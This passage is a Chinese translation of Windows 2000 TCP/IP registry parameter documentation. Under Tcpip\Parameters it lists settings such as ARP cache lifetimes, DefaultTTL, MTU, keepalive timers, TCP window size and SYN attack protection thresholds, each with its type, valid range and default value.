2005年01月14日

TCP/IP 配置参数



  Windows 2000 TCP/IP 协议组件实现从注册表中获取全部配置数据。配置信息

是由安装程序写到注册表中的。一些信息也可以由动态主机配置协议 (DHCP) 客户

服务提供(如启用)。本附录定义了用于配置协议驱动程序 (Tcpip.sys) 的所有

注册表参数,它实施标准的 TCP/IP 网络协议。



  仅使用安装程序和 DHCP 所收集的配置信息,协议组件实现就可以在大多数环

境中正常而有效地工作。大多数使用环境下,协议的所有其它配置项的最优默认值

已编入该驱动程序中。一些用户安装设置可能需要更改某些默认值。要这样做,可

以创建一些可选的注册表参数,修改协议驱动程序某些默认设置。



{0>Note The Windows TCP/IP implementation is largely self-tuning.<}0{>备

注 Windows TCP/IP 实现基本上是自调整的。<0} {0>Adjusting registry

parameters may adversely affect system performance.<}0{>?调整注册表参数

可能对系统性能造成不利的影响。0}



所有 TCP/IP 参数就是放在注册表项下面的注册表值。



HKEY_LOCAL_MACHINE

\SYSTEM

\CurrentControlSet

\Services:

\Tcpip

\Parameters



适配器特有的数值列在每个适配器的子项中。根据系统或适配器是由 DHCP 配置的

,还是指定了静态覆盖值,参数可能会拥有 DHCP 配置和静态配置值。如果使用注

册表编辑器更改其中的任何参数,通常系统需要重新启动,更改才能生效。如果使

用网络连接接口更改注册表值,通常不需要重新启动。



可用注册表编辑器配置的参数

在 TCP/IP 组件安装过程中,设定下列参数的默认值。要修改其中的任何值,请使

用注册表编辑器 (Regedt32.exe)。默认情况下,在注册表中可以看见一些参数,

但是大多数参数必须重新创建,以便修改 TCP/IP 协议驱动程序的默认设置。以下

分别列出了用户接口的可配置参数。



AllowUserRawAccess



项: Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围: 0、1(false、true)



默认值: 0 (false)



说明:该参数控制对原始套接字的访问。如果为 true,则非管理用户可以访问原

始套接字。默认情况下,只有管理员可以访问原始套接字。有关原始套接字的详细

信息,请参见 Windows Sockets 规范,网址是: ftp://ftp.microsoft./

com/bussys/winsock/winsock2。



ArpAlwaysSourceRoute



项:Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1 或不存在(false、true 或不存在)



默认值:不存在





说明:默认情况下,栈首先启动没有源路由查询,如果没有收到应答,则用源路由

重试。将该参数设为 0,则不使用源路由发送所有 IP 广播。将该参数设置为 1,

就会强制 TCP/IP 使用在令牌环网络上启用的源路由发送 ARP 查询。(在

Windows NT 4.0 SP2 中引入了对该参数定义的修改。)



ArpCacheLife



项: Tcpip\Parameters



数值类型: REG_DWORD – 秒数



有效范围: 0-0xFFFFFFFF



默认值: 在没有 ArpCacheLife 参数的情况下,ARP 缓存超时的默认值为:未使

用项为 2 分钟;已使用项为 10 分钟。



说明:请参见 ArpCacheMinReferencedLife



ArpCacheMinReferencedLife



项: Tcpip\Parameters



数值类型: REG_DWORD – 秒数



有效范围: 0-0xFFFFFFFF



默认值: 600 秒(10 分钟)



说明: ArpCacheMinReferencedLife 控制引用 ARP 缓存项到期的最小时间。该参

数可与 ArpCacheLife 参数一起使用,如下所示:



如果 ArpCacheLife 大于或等于 ArpCacheMinReferencedLife,则引用或未引用的

ARP 缓存项在 ArpCacheLife 秒后到期。

如果 ArpCacheLife 小于 ArpCacheMinReferencedLife,未引用项在

ArpCacheLife 秒后到期,而引用项在 ArpCacheMinReferencedLife 秒后到期。



每次将出站数据包发送到项的 IP 地址时,就会引用 ARP 缓存中的项。



ArpRetryCount



项: Tcpip\Parameters



数值类型: REG_DWORD – 数字



有效范围: 1-3



默认值: 3



说明:该参数控制在初始化过程中计算机为其 IP 地址发送免费 ARP 的次数。发

送免费 ARP 是为了保证该 IP 地址在网络其它位置未被使用。该数值控制实际发

送的 ARP 次数,而不是重试的次数。



ArpTRSingleRoute



项: Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 0 (false)



说明:将该参数设置为 1,就会将启用源路由(令牌环)的 ARP 广播作为单路由

广播发送,而不是所有路由广播。



ArpUseEtherSNAP



项:Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 0 (false)



说明:将该参数设置为 1,就会强制 TCP/IP 使用 802.3 SNAP 编码传输以太网数

据包。默认情况下,栈以 DIX 以太网格式传输数据包。它始终接收两种格式的数

据包。



DatabasePath



项:Tcpip\Parameters



数值类型:REG_EXPAND_SZ – 字符串



有效范围:有效的 Windows NT 文件路径



默认值:%SystemRoot%\system32\drivers\etc



说明:该参数指定标准 Internet 数据库文件(Hosts、Lmhosts、网络、协议、服

务)的路径。Windows Sockets 接口使用该参数。



DefaultTTL



项: Tcpip\Parameters



数值类型: REG_DWORD – 秒数/跃点数



有效范围: 0-0xff(0-255 十进制)



默认值: 128



说明: 指定传出 IP 数据包中设置的默认生存时间 (TTL) 值。TTL 决定了 IP 数

据包在到达目标前在网络中生存的最大时间。它实际上限定了 IP 数据包在丢弃前

允许通过的路由器数量。



DisableDHCPMediaSense





项: Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围 0、1(false、true)



默认值: 0 (false)



说明: 该参数可用来控制 DHCP 媒体侦听性能。如果将其设置为 1,DHCP 客户机

就会忽略接口的媒体侦听事件。默认情况下,媒体侦听事件将触发 DHCP 采取措施

,如获取一个租约(发生连接事件时);或者使接口和路由无效(发生断开连接时

)。



DisableIPSourceRouting



项: Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1、2



0 – 转发所有数据包

1 – 不转发源路由数据包

2 – 丢弃所有传入的源路由数据包



默认值: 1 (true)



说明: IP 源路由是允许发送者确定数据报通过网络所采用 IP 路由的一种机制,

主要由 tracert.exe 和 ping.exe 工具所使用。



Windows NT 4.0 Service Pack 5 中添加了这一参数(请参见 Microsoft

Knowledge Base 文章 Q217336<http://search.support.microsoft.com/kb/c.

asp>)。在默认情况下,Windows 2000 禁用 IP 源路由。



DisableMediaSenseEventLog



项: Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 0 (false)



说明: 该参数用于禁止使用 DHCP 媒体侦听事件的日志记录。默认情况下,媒体

侦听事件(连接/断开网络)被记录在事件日志中,以便于疑难解答。



DisableTaskOffload



项: Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 0 (false)



说明:该参数通知 TCP/IP 栈禁止将任务卸载到网关,以便于疑难解答与测试。





DisableUserTOSSetting



项: Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 1 (true)



说明:该参数允许程序设置传出 IP 数据包报头的服务种类 (TOS) 位。在

Windows 2000 中,该参数默认值为 true。一般情况下,不允许各应用程序设置

TOS 位,因为这可能会欺骗系统策略机制,如本文“服务质量 (QoS) 与资源保留

协议”一节中所述的那些机制。



DontAddDefaultGateway



项: Tcpip\Parameters \Interfaces\interface



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 0



说明: 安装 PPTP 时,给每个 LAN 适配器安装一个默认路由。通过添加该数值并

将其值设为 1,可以禁用某个适配器的默认路由。之后,您可能需要为使用路由器

(而不是默认网关)路由的主机配置静态路由。



EnableAddrMaskReply



项: Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值:0 (false)



说明:该参数控制计算机是否响应 ICMP 地址掩码请求。



EnableBcastArpReply



项: Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值:1 (true)



说明: 当 ARP 中的源以太网地址不是单播时,该参数控制计算机是否响应 ARP

请求。如果将该数值设置为 0,网络负载平衡服务 (NLBS) 将不能正常工作。



EnableDeadGWDetect



项: Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 1 (true)



说明: 将该参数设置为 1 时,允许 TCP 执行间隔网关检测。启用该功能时,如

果处理多个连接有困难时,TCP 可以请求 IP 改用备份网关。备份网关可以在“网

络控制面板”中“TCP/IP 配置”对话框的“高级”部分进行定义。有关详细信息

,请参见本文“间隔网关检测”一节。



EnableICMPRedirects



项: Tcpip\Parameters



数值类型:REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 1 (True),用于 Beta 3。在 RC1 中预定改为 1 (True)



推荐值: 0 (False)



说明:该参数控制 Windows 2000 是否会改变其路由表以响应网络设备(如路由器

)发送给它的 ICMP 重定向消息。



EnableFastRouteLookup



项: Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 0 (false)



说明:如果设置该标志,则启用路由查找。这可加快路由查找,但会占用非分页池

内存。仅当计算机运行 Windows 2000 Server 且属于中型或大型机(换句话说,

至少包含 64 MB 内存)时,才使用此标志。可以通过路由与远程访问服务创建该

参数。



EnableMulticastForwarding



项: Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 0 (false)



说明:路由服务使用该参数确定是否转发 IP 多播。可以通过路由与远程访问服务

创建该参数。



EnablePMTUBHDetect



项: Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 0 (false)



说明:将该参数设置为 1 (true),当 TCP 执行路径 MTU 发现时,就会检测“黑

洞”路由器。当需要用 Don’t Fragment 位设置分片 IP 数据报时,黑洞路由器不

返回 ICMP Destination Unreachable 消息。TCP 依靠接收这些消息执行路径 MTU

发现。当启动此功能时,如果几次重新发送字段没有确认,TCP 将尝试不设置

Don’t Fragment 位的情况下发送字段11。如果收到字段确认,MSS 将降低,并将

连接上以后发送的数据包中设置 Don’t Fragment 位。启用黑洞路由器,将增加某

个字段重新发送的最多次数。



EnablePMTUDiscovery



项: Tcpip\Parameters



数值类型:REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 1 (true)



说明:将该参数设置为 1 (true) 时,TCP 将查找到达远程主机路径上的最大传输

单位(MTU 或最大的数据包大小)。通过发现路径 MTU 并将 TCP 字段限制到这个

大小,对于路径上连接不同 MTU 网络的路由器而言,TCP 不再需要进行分片。碎

片会影响 TCP 吞吐量和网络堵塞。将这个参数设置成 0,所有不在本地子网上的

主机连接就会使用 576 字节的 MTU。



FFPControlFlags



项: Tcpip\Parameters



数值类型:REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 1 (true)



说明:如果将该参数设置为 1,就会启用快速转发路径 (FFP)。如果将它设置为

0,TCP/IP 通知所有可使用 FFP 的适配器不要在该计算机上快速转发。可使用快

速转发路径的网络适配器从栈中接收路由信息,并在硬件中转发随后的数据包,而

不用将它们上传到栈中。FFP 参数放在 TCP/IP 注册表项中,但实际上由路由与远

程访问服务 (RRAS) 服务设置。有关详细信息,请参见 RRAS 文档。



FFPFastForwardingCacheSize



项: Tcpip\Parameters



数值类型:REG_DWORD – 字节数



有效范围: 0-0xFFFFFFFF



默认值: 100,000 字节



说明:对于支持快速转发 (FFP) 的驱动程序,如果它使用系统内存分配快速转发

缓存,则该参数表示它可以分配的最大内存数。如果设备有自己的快速转发内存,

则忽略该数值。



ForwardBufferMemory



项: Tcpip\Parameters



数值类型:REG_DWORD – 字节数



有效范围: 网络 MTU-小于 0xFFFFFFFF 的合理数值。



默认值: 74240(足可用于 50 个 1480 字节数据包,可以舍入 256 的倍数)



说明: 该参数表示 IP 最初分配多少内存来存储路由器数据队列中数据包数据。

当该缓冲空间满了时,系统就会分配更多的内存。数据包队列数据缓冲区为 256

字节,因此这个参数的值应为 256 的倍数。几个缓冲器连在一起可形成大数据包

。数据包的 IP 报头分别存储。如果 IP 路由功能没有启用,则忽略该参数,并且

不分配缓冲区。此功能分配的最大内存数是由 MaxForwardBufferMemory 控制的。





GlobalMaxTcpWindowSize



项: Tcpip\Parameters



数值类型: REG_DWORD – 字节数



有效范围: 0-0×3FFFFFFF(十进制为 1073741823;但是当连接到其它支持 RFC

1323 窗口缩放的系统时,可以获得大于 64 KB 的数值,它在本文的 TCP 部分进

行了讨论。另外,必须使用 Tcp1323Opts 注册表参数启用窗口缩放。)



默认值: 默认情况下,该参数不存在。



说明:TcpWindowSize 参数可用于在每个接口上设置接收窗口。该参数可用于在整

个系统上设置 TCP 窗口大小的全局限制。该参数是 Windows 2000 中的新增功能





IPAutoconfigurationAddress



项: Tcpip\Parameters\Interfaces\<interface>



数值类型:REG_SZ – 字符串



有效范围:有效 IP 地址



默认值:无



说明:DHCP 客户机在此存放自动配置所选择的 IP 地址。不可更改修改该数值。





IPAutoconfigurationEnabled



项: Tcpip\Parameters, Tcpip\Parameters\Interfaces\interface



数值类型:REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 1 (true)



说明:该参数可以启用或禁用 IP 自动配置。有关详细信息,请参见本文的“自动

客户配置与媒体侦听”一节。该参数可以设置为全局或每个接口。如果每个接口的

参数值存在,它将覆盖该接口的全局参数值。



IPAutoconfigurationMask



项: Tcpip\Parameters, Tcpip\Parameters\Interfaces\interface



数值类型:REG_SZ – 字符串



有效范围:有效的 IP 子网掩码



默认值: 255.255.0.0



说明: 该参数控制由自动配置分配给客户机的子网掩码。有关详细信息,请参见

本文的“自动客户配置与媒体侦听”一节。可以将该参数设置为全局或每个接口。

如果每个接口参数值存在,则它覆盖该接口的全局参数值。



IPAutoconfigurationSeed



项: Tcpip\Parameters, Tcpip\Parameters\Interfaces\interface



数值类型:REG_DWORD – 数字



有效范围: 0-0xFFFF



默认值: 0



说明:该参数由 DHCP 客户内部使用,不应修改该参数。



IPAutoconfigurationSubnet



项: Tcpip\Parameters, Tcpip\Parameters\Interfaces\interface



数值类型:REG_SZ – 字符串



有效范围:有效 IP 子网



默认值: 169.254.0.0



说明: 该参数控制自动配置查找客户机 IP 地址时所使用的子网地址。有关详细

信息,请参见本文的“自动客户配置与媒体侦听”一节。可以将该参数设置为全局

参数或基于每个接口的参数。如果每个接口参数值存在,则它覆盖该接口的全局参

数值。



IGMPLevel



项: Tcpip\Parameters



数值类型:REG_DWORD – 数字



有效范围: 0、1、2



默认值: 2



说明: 该参数确定系统在多大程度上支持 IP 多播和参加网际分组管理协议。在

0 级,系统不提供多播支持。在 1 级,系统可以发送 IP 多播数据包但不能接收

。在 2 级,系统可以发送 IP 多播数据包并完全参加 IGMP 以接收多播数据包。





IPEnableRouter



项:Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 0 (false)



说明:将该参数设置为 1 (true),系统将在它所连接的网络之间路由 IP 数据包





IPEnableRouterBackup



项:Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 0 (false)



说明:安装程序将以前的 IPEnableRouter 值写入到此项中。该参数不应手动来调

整。



KeepAliveInterval



项: Tcpip\Parameters



数值类型:REG_DWORD – 时间(毫秒)



有效范围: 1-0xFFFFFFFF



默认值: 1000(1 秒)



说明:该参数确定接收到响应前,保留重新传输的间隔。一旦接收到响应,直至下

一个保留传输的延迟仍由 KeepAliveTime 数值控制。当重新传输次数达到

TcpMaxDataRetransmissions 指定值后仍未收到应答,就会放弃连接。



KeepAliveTime



项: Tcpip\Parameters



数值类型:REG_DWORD – 时间(毫秒)



有效范围: 1-0xFFFFFFFF



默认值: 7,200,000(2 小时)



说明: 该参数可确定 TCP 每隔多长时间发送保留的数据包,来验证一次闲置连接

仍未断开。如果远程系统仍然可以连接并正在运行,它就会确认保留传输。默认情

况下,不发送保留数据包。应用程序可以在连接上启用这一功能。



MaxForwardBufferMemory



项: Tcpip\Parameters



数值类型:REG_DWORD – 字节数



有效范围: 网络 MTU-0xFFFFFFFF



默认值: 十进制 2097152 (2 MB)



说明:该参数表示 IP 分配多少内存,来存储路由器数据队列中数据包的数据。该

数值必须大于或等于 ForwardBufferMemory 参数值。有关详细信息,请参见

ForwardBufferMemory。



MaxForwardPending



项: Tcpip\Parameters\Interfaces\interface



数值类型:REG_DWORD – 数据包数



有效范围: 1-0xFFFFFFFF



默认值: 0×1388(十进制为 5000)



说明: 该参数限制在某一时刻 IP 转发引擎可以向指定网络接口发送的数据包数

。额外的数据包则在 IP 排队,直到接口上的传输完成为止。大多数网络适配器传

输数据包的速度非常快,因此默认值是充分的。但是,单个 RAS 接口可以多路复

用多个慢速串行线路。对这种类型的接口配置更大的数值,可以提高性能。合适的

数值取决于传出线路的数量以及它们的负载特性。





MaxFreeTcbs



项: Tcpip\Parameters



数值类型:REG_DWORD – 数字



有效范围: 0-0xFFFFFFFF



默认值: 使用下列默认数值(注意“小型”定义为 RAM 小于 19 MB 的计算机,

“中型”定义为 RAM 在 19-63 MB 之间的计算机,“大型”定义为 RAM 大于或等

于 64 MB 的计算机。虽然该代码仍旧存在,现在几乎所有计算机均为“大型”)





对于 Windows 2000 Server:



小型系统 – 500

中型系统 – 1000

大型系统 – 2000

对于 Windows 2000 Professional:



小型系统 – 250

中型系统 – 500

大型系统 – 1000

说明: 该参数控制可用的缓存(预分配的)传输控制块 (TCB) 数量。传输控制块

是每个 TCP 连接保留的数据结构。



MaxFreeTWTcbs



项: Tcpip\Parameters



数值类型:REG_DWORD – 数字



有效范围: 1-0xFFFFFFFF



默认值: 1000



说明: 该参数控制在 TIME-WAIT 状态列表中允许处于 TIME-WAIT 状态的传输控

制块 (TCB) 数量。一旦超过该数值,最早的 TCB 将从列表中清除。要使连接保持

TIME-WAIT 状态至少 60 秒,对于计算机,该数值应为 >= 60 *(每秒正常连接

关闭比率)。在大多数情况下,默认数值是合适的。



MaxHashTableSize



项: Tcpip\Parameters



数值类型:REG_DWORD – 数字(必须为 2 的幂数)



有效范围: 0×40-0×10000(十进制为 64-65536)



默认值: 512



说明: 该数值应设为 2 的幂数(例如,512、1024、2048 等等)。如果该数值不

是 2 的幂数,则系统将散列表配置为下一个 2 的幂数值(例如,当设置为 513,

则取 1024)。该数值控制系统查找 TCP 控制块的速度,当 MaxFreeTcbs 从默认

值增大时,该数值应增大。



MaxNormLookupMemory



项: Tcpip\Parameters



数值类型:REG_DWORD – 数字



有效范围: 任何 DWORD(0xFFFFFFFF 说明对内存没有限制。)



默认值: 使用下列默认数值(“小型”定义为 RAM 小于 19 MB 的计算机,“中

型”定义为 RAM 在 19-63 MB 之间的计算机,“大型”定义为 RAM 等于或大于

64 MB 的计算机。虽然该代码仍然存在,但现在几乎所有计算机均为“大型”)。





对于 Windows 2000 Server:



小型系统 -150,000 字节,提供 1000 个路由

中型系统 – 1,500,000 字节,提供 10,000 个路由

大型系统 – 5,000,000 字节,提供 40,000 个路由

对于 Windows 2000 Professional:



150,000 字节,提供 1000 个路由

说明: 该参数控制系统允许路由表数据与路由自身的最大内存数。它用于防止因

添加大量路由而将计算机内存用尽。



MaxNumForwardPackets



项: Tcpip\Parameters



数值类型:REG_DWORD – 数字



有效范围: 1-0xFFFFFFFF



默认值: 0xFFFFFFFF



说明: 该参数限制可以为路由器数据包队列分配的 IP 数据包报头总数。该数值

必须大于或等于 NumForwardPackets 参数值。有关详细信息,请参见

NumForwardPackets 的说明。



MaxUserPort



项:Tcpip\Parameters



数值类型: REG_DWORD – 最大端口数



有效范围: 5000-65534(十进制)



默认值: 0×1388(十进制为 5000)



说明: 当应用程序从系统请求可用的用户端口数时,该参数控制所使用的最大端

口数。正常情况下,短期端口的分配数量为 1024-5000。将该参数设置到有效范围

以外时,就会使用最接近的有效数值(5000 或 65534)。



MTU



项: Tcpip\Parameters\Interfaces\interface



数值类型:REG_DWORD – 数字



有效范围: 88-基础网络的 MTU



默认值: 0xFFFFFFFF



说明:该参数覆盖网络接口的默认最大传输单位 (MTU)。MTU 是基础网络上传输的

最大数据包大小(字节)。它包括传输报头。IP 数据报可以跨多个数据包。当数

值大于基础网络的默认值时,传输就会使用网络默认 MTU。数值小于 88 时,传输

就会将 MTU 设为 88。



备注 Windows 2000 TCP/IP 默认情况下使用 PMTU 检测,并查询 NIC 驱动程序以

查找本地 MTU 大小。通常并不需要更改 MTU 参数,并可能导致性能下降。有关详

细信息,请参见本文 TCP 部分有关 PMTU 检测的讨论。



NumForwardPackets



项: Tcpip\Parameters



数值类型:REG_DWORD – 数字



有效范围: 1-小于 0xFFFFFFFF 的合理数值



默认值: 0×32(十进制为 50 )



说明:该参数确定路由器数据包队列分配的 IP 数据包报头数。当所有报头都在使

用时,系统试图分配更多的报头,直到达到 MaxNumForwardPackets 所配置的数量

。该数值至少与 ForwardBufferMemory 除以与路由器相连网络的最大 IP 数据大

小的数值一样大。该参数不应大于 ForwardBufferMemory 除以 256 的结果值,因

为每个数据包至少占用 256 个字节的转发缓冲内存。对于给定的

ForwardBufferMemory 大小,理想的转发数据包数取决于网络上的通信类型,且在

这两个值之间。如果路由没有启用,则忽略该参数且不分配报头。



NumTcbTablePartitions



项: Tcpip\Parameters\



数值类型:REG_DWORD – TCB 表分区数



有效范围:1-0xFFFF



默认值: 4



说明:该参数控制 TCB 表分区数。对 TCB 表分区,由于减少了 TCB 表上的竞争

,可提高在多处理器系统上的可缩放性。在对性能进行仔细研究之前,不可修改该

数值。建议的最大数值为(CPU 数)( 2。



PerformRouterDiscovery



项: Tcpip\Parameters\Interfaces\interface



数值类型:REG_DWORD



有效范围:0、1、2



0(禁用)

1(启用)

2(仅当 DHCP 发送路由器发现选项时启用)



默认值: 2,由 DHCP 控制,默认情况下关闭。



说明:该参数控制 Windows 2000 是否根据每个接口上的 RFC 1256 执行路由器发

现。也请参见 SolicitationAddressBcast。



PerformRouterDiscoveryBackup



项: Tcpip\Parameters\Interfaces\interface



数值类型:REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 无



说明:该参数用于内部保留 PerformRouterDiscovery 数值的备份副本。不应对它

进行修改。



PPTPTcpMaxDataRetransmissions



项:Tcpip\Parameters



数值类型: REG_DWORD – 重新传输 PPTP 数据包的次数



有效范围:0-0xFF



默认值: 5



说明:该参数控制在没有确认情况下重新传输 PPTP 数据包的次数。添加该参数,

可以配置 PPTP 通信的重新传输,使之与常规 TCP 通信的重新传输分开。



SackOpts



项: Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 1 (true)



说明: 该参数控制选择性确认(SACK,在 RFC 2018 中定义)支持是否启用。在

本文的“传输控制协议 (TCP)”一节对 SACK 进行了详细的阐述。



SolicitationAddressBcast



项: Tcpip\Parameters\Interfaces\interface



数值类型:REG_DWORDBoolean



有效范围:0、1(false、true)



默认值: 0 (false)



说明:该参数用于配置 Windows 以广播而不是多播方式发送路由器发现的消息,

如 RFC 1256 中所述。默认情况下,如果启用路由器发现,则路由器发现请求发送

到所有路由器多播组 (224.0.0.2)。也可参见 PerformRouterDiscovery。



SynAttackProtect



项: Tcpip\Parameters



数值类型:REG_DWORD



有效范围:0、1、2



0(没有 SYN 攻击保护)

1(如果 TcpMaxHalfOpen 和 TcpMaxHalfOpenRetried 设置满足要求,

可减少重新传输重试和

延迟 RCE(路由缓存项)的创建。)

2(除 1 外的另一个 Winsock 延迟指示。)



备注 当系统发现自身被攻击,则在任何套接字上的下列选项不再启用:可缩放窗

口 (RFC 1323) 与每个适配器上已配置的 TCP 参数(初始 RTT、窗口大小)。这

是因为当保护生效时,在发送 SYN-ACK 之前不再查询路由缓存项,并且连接过程

中 Winsock 选项不可用。



默认值: 0 (false)





推荐值: 2



说明:SYN 攻击保护包括减少 SYN-ACK 重新传输次数,以减少分配资源所保留的

时间。路由缓存项资源分配延迟,直到建立连接为止。如果 synattackprotect

= 2,则 AFD 的连接指示一直延迟到三路握手完成为止。注意,仅在

TcpMaxHalfOpen 和 TcpMaxHalfOpenRetried 设置超出范围时,保护机制才会采取

措施。



Tcp1323Opts



项: Tcpip\Parameters



数值类型: REG_DWORD – 数字(标志)



有效范围: 0、1、2、3



0(禁用 RFC 1323 选项)

1(仅启用窗口缩放)

2(仅启用时间戳)

3(两个选项均启用)



默认值: 没有数值;默认行为如下所示:除非要求提供,否则不要启用选项。



说明:该参数控制 RFC 1323 时间戳与窗口缩放选项。默认情况下,启用时间戳与

窗口缩放,但是可以使用标志位进行控制。0 位控制窗口缩放,1 位控制时间戳。





TcpDelAckTicks



项: Tcpip\Parameters\Interfaces\interface



数值类型: REG_DWORD – 数字



有效范围: 0-6



默认值: 2(200 毫秒)



说明:指定每个接口上延迟 ACK 计时器所使用 100 毫秒间隔的个数。默认情况下

,延迟 ACK 计时器为 200 毫秒。将该数值设置为 0,将禁用延迟确认,计算机就

会立即确认所收到的每个数据包。Microsoft 不建议在未对环境进行仔细研究的情

况下更改该默认值。



TcpInitialRTT



项: Tcpip\Parameters\Interfaces\interface



数值类型: REG_DWORD – 数字



有效范围: 0-0xFFFF



默认值: 3 秒



说明:该参数控制在每个接口上 TCP 连接请求以及初始数据重新传输所使用的初

始超时大小。调整该参数时要小心,因为使用了指数补偿。将该数值设置为大于

3,对于不存在的地址会产生更长的时间延迟。



TcpMaxConnectResponseRetransmissions



项: Tcpip\Parameters



数值类型: REG_DWORD – 数字



有效范围: 0-255



默认值: 2



说明:该参数控制未收到 SYN 确认时,连接请求重新传输 SYN-ACK 的次数。如果

该数值大于或等于 2,栈内部使用 SYN 攻击保护。如果该数值小于 2,栈根本不

读取注册表值来获得 SYN 攻击保护。也可参见 SynAttackProtect、

TCPMaxPortsExhausted、TCPMaxHalfOpen 和 TCPMaxHalfOpenRetried。



TcpMaxConnectRetransmissions



项: Tcpip\Parameters



数值类型: REG_DWORD – 数字



有效范围: 0-255(十进制)



默认值: 2



说明: 该参数确定放弃前,TCP 重传连接请求 (SYN) 的次数。在给定的连接上,

对于每个连续重新传输,重传超时数加倍。初始超时数是由 TcpInitialRtt 注册

表值控制的。<0}



TcpMaxDataRetransmissions



项: Tcpip\Parameters



数值类型: REG_DWORD – 数字



有效范围: 0-0xFFFFFFFF



默认值: 5



说明: 该参数控制在放弃连接前,TCP 重新传输单个数据段(非连接请求段)的

次数。在连接上对于每个连续重新传输,重传超时数加倍。响应恢复后,将重置该

数值。在每个连接上使用以前测量的往返时间(平滑往返时间 或 SRTT),动态地

调整重传超时 (RTO) 数值。在新连接上初始 RTO 是由 TcpInitialRtt 注册表值

控制的。



TcpMaxDupAcks



项: Tcpip\Parameters



数值类型: REG_DWORD – 数字



有效范围: 1-3



默认值: 2



说明:该参数确定在启动快速重传那些在传输途中丢失的数据段之前,必须收到相

同序号发送数据段的重复应答次数。在本文“传输控制协议 (TCP)”一节对此进行

了详细讨论。



TcpMaxHalfOpen



项: Tcpip\Parameters



数值类型: REG_DWORD – 数字



有效范围: 100-0xFFFF



默认值: 100(Professional、Server)、500 (Advanced Server)



说明:该参数控制 SYN 攻击保护启动前,允许处于 SYN-RCVD 状态的连接数量。

如果将 SynAttackProtect 设为 1,确保该数值低于要保护的端口上 AFD 侦听预

备的值(有关详细信息,参见附录 C 中的预备参数)。有关详细信息,参见

SynAttackProtect 参数。



TcpMaxHalfOpenRetried



项: Tcpip\Parameters



数值类型: REG_DWORD – 数字



有效范围: 80-0xFFFF



默认值: 80 (Professional、Server),400 (Advanced Server)



说明:该参数控制在 SYN 攻击保护启动前处于 SYN-RCVD 状态的连接数量,对于

该连接至少有一个 SYN 重传已经发送。有关详细信息,请参见 SynAttackProtect

参数。



TcpMaxPortsExhausted



项: Tcpip\Parameters



数值类型: REG_DWORD – 数字



有效范围: 0-0xFFFF



默认值: 5



说明:该参数控制 SYN 攻击保护启动的临界点。当 TcpMaxPortsExhausted 连接

请求因连接的可用预备设为 0 被系统拒绝时,SYN 攻击保护就会启动。



TcpMaxSendFree



项: Tcpip\Parameters



数值类型: REG_DWORD – 数字



有效范围: 0-0xFFFF



默认值: 5000



说明:该参数控制 TCP 报头表的大小限制。在有大量 RAM 的机器上,增加该设置

可以提高 SYN 攻击期间的响应性能。



TcpNumConnections



项: Tcpip\Parameters



数值类型: REG_DWORD – 数字



有效范围: 0-0xFFFFFE



默认值: 0xFFFFFE



说明:该参数限制 TCP 同时打开连接的最大数量。



TcpTimedWaitDelay



项: Tcpip\Parameters



数值类型: REG_DWORD – 时间(秒)



有效范围: 30-300(十进制)



默认值: 0xF0(十进制为 240)



说明:该参数确定在关闭前连接处在 TIME_WAIT 状态的时间。当连接处于

TIME_WAIT 状态时,不能重新使用该套接字对。这也称为 2MSL 状态,因为该数值

是网络上最大段生存时间的两倍。有关更详细的信息,请参见 RFC 793。



TcpUseRFC1122UrgentPointer



项: Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 0 (false)



说明:该参数指定对于紧急数据,TCP 使用 RFC 1122 规范,还是使用由 BSD 派

生的系统的模式。这两种机制对 TCP 报头中的紧急指针以及紧急数据长度的解释

是不同的。它们不是可互操作的。Windows 2000 默认为 BSD 模式。



TcpWindowSize



项: Tcpip\Parameters, Tcpip\Parameters\Interface\interface



数值类型: REG_DWORD – 字节数



有效范围: 0-0×3FFFFFFF(十进制为 1073741823)。 实际上,TCP/IP 栈将设置

值舍入到最接近的最大段大小 (MSS) 的倍数。仅当连接到支持 RFC 1323 窗口缩

放的其它系统时,方可获得大于 64 KB 的数值,本文“传输控制协议 (TCP)”一

节对窗口缩放进行了讨论。



默认值:取以下数值的最小值:



0xFFFF

GlobalMaxTcpWindowSize(另一个注册表参数)

四倍网络上最大 TCP 数据大小的上舍入值

16384 舍入到网络 TCP 数据大小的偶数倍

对于以太网,开始时默认值为 17520,但是当连接到支持扩展 TCP 报头选项(如

SACK 和 TIMESTAMPS)的另一个计算机时,可能会稍微减小,因为使用这些选项

,TCP 报头长度就会超出通常的 20 个字节,这样数据可用的字节数就会比原来稍

微减少



说明: 该参数确定所提供的最大 TCP 接收窗口大小。接收窗口是指一个发送者在

未收到确认的情况下可以发送的字节数。总的来说,大的窗口可以改进高延缓和高

